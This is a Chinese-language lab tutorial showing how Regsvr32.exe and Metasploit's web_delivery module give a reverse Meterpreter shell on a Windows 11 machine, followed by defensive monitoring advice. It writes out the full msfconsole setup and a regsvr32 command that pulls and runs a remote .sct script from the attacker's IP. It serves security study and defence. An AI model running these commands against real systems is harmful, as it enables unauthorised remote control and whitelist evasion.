利用Regsvr32.exe通过Web Delivery实现Windows反弹Shell
技术原理
Regsvr32.exe是Windows系统中的一个合法命令行工具,主要用于注册和注销OLE控件(如DLL和ActiveX控件)。该程序位于%systemroot%\System32\
目录下,存在于Windows XP及后续所有Windows版本中。
由于其白名单特性,攻击者常利用Regsvr32.exe执行恶意代码来绕过应用程序白名单防护。结合Metasploit的Web Delivery模块,可以通过Regsvr32发起HTTP请求获取并执行恶意负载,最终建立反向Shell连接。
实验环境
- 攻击机: Kali Linux (192.168.1.26)
- 靶机: Windows 11 (192.168.1.13)
- 监听地址: 192.168.1.26 (Kali Linux IP)
操作步骤
1. 启动Metasploit并配置Web Delivery模块
msfconsole
use exploit/multi/script/web_delivery
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.26
set SRVHOST 192.168.1.26
exploit -j
2. 在靶机上执行Regsvr32命令
在Windows 11靶机上执行以下命令:
regsvr32 /s /n /u /i:http://192.168.1.26:8080/YhLeCXJYq.sct scrobj.dll
3. 参数详解
/s
: 静默模式,不显示消息框/n
: 不调用DllRegisterServer/u
: 卸载服务器/i:http://...
: 通过URL调用DllInstall并执行远程脚本
技术要点
-
Web Delivery工作原理: Metasploit启动一个Web服务器托管恶意脚本,当Regsvr32请求该URL时,服务器返回一个恶意sct文件并被自动执行
-
规避检测: 使用合法系统工具Regsvr32.exe可以绕过许多安全产品的检测
-
无文件攻击: 攻击载荷直接从网络获取并在内存中执行,不落地磁盘
防御建议
- 监控Regsvr32.exe的网络连接活动
- 限制不必要的出站HTTP连接
- 实施应用程序控制策略,即使对可信程序也限制其异常行为
- 启用并细化进程行为监控,检测异常子进程创建
总结
这种利用方式展示了攻击者如何滥用系统自带工具进行横向移动和权限维持。作为防御方,需要采取纵深防御策略,不仅关注恶意软件本身,更要关注系统工具和合法程序的异常使用行为。
注意: 本文仅用于安全研究和教育目的,请勿用于非法活动。